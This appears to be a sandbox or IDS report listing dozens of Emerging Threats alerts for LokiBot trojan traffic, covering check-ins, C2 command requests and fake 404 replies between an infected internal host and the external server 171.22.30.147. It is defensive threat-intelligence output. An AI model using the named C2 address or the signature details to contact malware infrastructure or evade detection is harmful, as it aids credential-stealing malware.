ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497942025483 01/05/23-08:52:39.518919
SID:	2025483
Source Port:	80
Destination Port:	49794
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499512025483 01/05/23-08:53:25.015955
SID:	2025483
Source Port:	80
Destination Port:	49951
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750031802024313 01/05/23-08:53:49.661487
SID:	2024313
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749703802024318 01/05/23-08:52:08.565296
SID:	2024318
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750031802024318 01/05/23-08:53:49.661487
SID:	2024318
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750036802024313 01/05/23-08:53:51.046851
SID:	2024313
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749905802825766 01/05/23-08:53:12.409052
SID:	2825766
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499922025483 01/05/23-08:53:37.966887
SID:	2025483
Source Port:	80
Destination Port:	49992
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749731802024318 01/05/23-08:52:20.113614
SID:	2024318
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749843802825766 01/05/23-08:52:54.266621
SID:	2825766
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749731802024313 01/05/23-08:52:20.113614
SID:	2024313
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749714802025381 01/05/23-08:52:13.349412
SID:	2025381
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500172025483 01/05/23-08:53:44.615644
SID:	2025483
Source Port:	80
Destination Port:	50017
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749811802021641 01/05/23-08:52:44.140113
SID:	2021641
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749815802825766 01/05/23-08:52:45.213789
SID:	2825766
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750014802025381 01/05/23-08:53:43.719267
SID:	2025381
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749931802025381 01/05/23-08:53:19.484274
SID:	2025381
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749792802024313 01/05/23-08:52:38.887901
SID:	2024313
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749792802024318 01/05/23-08:52:38.887901
SID:	2024318
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749876802825766 01/05/23-08:53:03.175112
SID:	2825766
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749747802025381 01/05/23-08:52:24.577114
SID:	2025381
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749816802021641 01/05/23-08:52:45.483412
SID:	2021641
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750075802025381 01/05/23-08:54:01.517358
SID:	2025381
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497532025483 01/05/23-08:52:26.405615
SID:	2025483
Source Port:	80
Destination Port:	49753
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749719802025381 01/05/23-08:52:15.841614
SID:	2025381
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749920802024313 01/05/23-08:53:16.511672
SID:	2024313
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750047802025381 01/05/23-08:53:54.007519
SID:	2025381
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749742802025381 01/05/23-08:52:23.189713
SID:	2025381
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749782802021641 01/05/23-08:52:36.098088
SID:	2021641
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497342025483 01/05/23-08:52:21.057098
SID:	2025483
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497642025483 01/05/23-08:52:29.564114
SID:	2025483
Source Port:	80
Destination Port:	49764
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749903802025381 01/05/23-08:53:11.877542
SID:	2025381
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749920802024318 01/05/23-08:53:16.511672
SID:	2024318
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750070802025381 01/05/23-08:54:00.166694
SID:	2025381
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749871802825766 01/05/23-08:53:01.829225
SID:	2825766
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500692025483 01/05/23-08:53:59.993977
SID:	2025483
Source Port:	80
Destination Port:	50069
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749990802021641 01/05/23-08:53:37.383838
SID:	2021641
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497752025483 01/05/23-08:52:32.764869
SID:	2025483
Source Port:	80
Destination Port:	49775
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749995802021641 01/05/23-08:53:38.676723
SID:	2021641
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750069802024318 01/05/23-08:53:59.913079
SID:	2024318
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750016802825766 01/05/23-08:53:44.267939
SID:	2825766
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497232025483 01/05/23-08:52:17.901079
SID:	2025483
Source Port:	80
Destination Port:	49723
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497122025483 01/05/23-08:52:12.517516
SID:	2025483
Source Port:	80
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500582025483 01/05/23-08:53:57.081819
SID:	2025483
Source Port:	80
Destination Port:	50058
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749764802024313 01/05/23-08:52:29.472789
SID:	2024313
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750042802025381 01/05/23-08:53:52.687057
SID:	2025381
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497012025483 01/05/23-08:52:07.816134
SID:	2025483
Source Port:	80
Destination Port:	49701
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749769802024313 01/05/23-08:52:30.825016
SID:	2024313
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499702025483 01/05/23-08:53:32.118296
SID:	2025483
Source Port:	80
Destination Port:	49970
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499812025483 01/05/23-08:53:35.036033
SID:	2025483
Source Port:	80
Destination Port:	49981
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500472025483 01/05/23-08:53:54.088522
SID:	2025483
Source Port:	80
Destination Port:	50047
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749764802024318 01/05/23-08:52:29.472789
SID:	2024318
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749848802825766 01/05/23-08:52:55.640788
SID:	2825766
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749977802024318 01/05/23-08:53:33.899852
SID:	2024318
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749777802825766 01/05/23-08:52:34.550245
SID:	2825766
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500092025483 01/05/23-08:53:42.451776
SID:	2025483
Source Port:	80
Destination Port:	50009
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749717802021641 01/05/23-08:52:14.673219
SID:	2021641
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749786802825766 01/05/23-08:52:37.217550
SID:	2825766
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500062025483 01/05/23-08:53:41.632805
SID:	2025483
Source Port:	80
Destination Port:	50006
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749726802021641 01/05/23-08:52:18.702884
SID:	2021641
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749916802024318 01/05/23-08:53:15.372296
SID:	2024318
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749925802024313 01/05/23-08:53:17.874226
SID:	2024313
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750021802021641 01/05/23-08:53:46.361205
SID:	2021641
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750044802825766 01/05/23-08:53:53.227481
SID:	2825766
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749916802024313 01/05/23-08:53:15.372296
SID:	2024313
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750053802825766 01/05/23-08:53:55.636070
SID:	2825766
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749754802021641 01/05/23-08:52:26.655822
SID:	2021641
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749813802025381 01/05/23-08:52:44.686594
SID:	2025381
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749944802024318 01/05/23-08:53:23.021157
SID:	2024318
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749745802021641 01/05/23-08:52:24.023320
SID:	2021641
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749749802825766 01/05/23-08:52:25.162571
SID:	2825766
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750078802021641 01/05/23-08:54:02.320663
SID:	2021641
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749969802025381 01/05/23-08:53:31.782144
SID:	2025381
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749804802025381 01/05/23-08:52:42.167879
SID:	2025381
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498792025483 01/05/23-08:53:04.056744
SID:	2025483
Source Port:	80
Destination Port:	49879
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749802802024313 01/05/23-08:52:41.641382
SID:	2024313
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498682025483 01/05/23-08:53:01.111667
SID:	2025483
Source Port:	80
Destination Port:	49868
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750072802825766 01/05/23-08:54:00.683642
SID:	2825766
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749898802025381 01/05/23-08:53:09.845609
SID:	2025381
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749944802024313 01/05/23-08:53:23.021157
SID:	2024313
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750012802021641 01/05/23-08:53:43.190304
SID:	2021641
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750025802825766 01/05/23-08:53:48.086655
SID:	2825766
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497042025483 01/05/23-08:52:09.015467
SID:	2025483
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749986802024318 01/05/23-08:53:36.285692
SID:	2024318
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749986802024313 01/05/23-08:53:36.285692
SID:	2024313
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749773802021641 01/05/23-08:52:31.909319
SID:	2021641
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500392025483 01/05/23-08:53:51.948003
SID:	2025483
Source Port:	80
Destination Port:	50039
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749821802024313 01/05/23-08:52:46.829983
SID:	2024313
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749841802025381 01/05/23-08:52:53.743125
SID:	2025381
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749844802021641 01/05/23-08:52:54.549139
SID:	2021641
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749988802025381 01/05/23-08:53:36.817903
SID:	2025381
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749775802025381 01/05/23-08:52:32.683406
SID:	2025381
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750059802021641 01/05/23-08:53:57.279795
SID:	2021641
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749821802024318 01/05/23-08:52:46.829983
SID:	2024318
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749939802021641 01/05/23-08:53:21.632432
SID:	2021641
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749999802825766 01/05/23-08:53:39.715844
SID:	2825766
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749887802024318 01/05/23-08:53:06.117016
SID:	2024318
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498082025483 01/05/23-08:52:43.407695
SID:	2025483
Source Port:	80
Destination Port:	49808
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749887802024313 01/05/23-08:53:06.117016
SID:	2024313
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749703802024313 01/05/23-08:52:08.565296
SID:	2024313
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749859802024313 01/05/23-08:52:58.622571
SID:	2024313
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

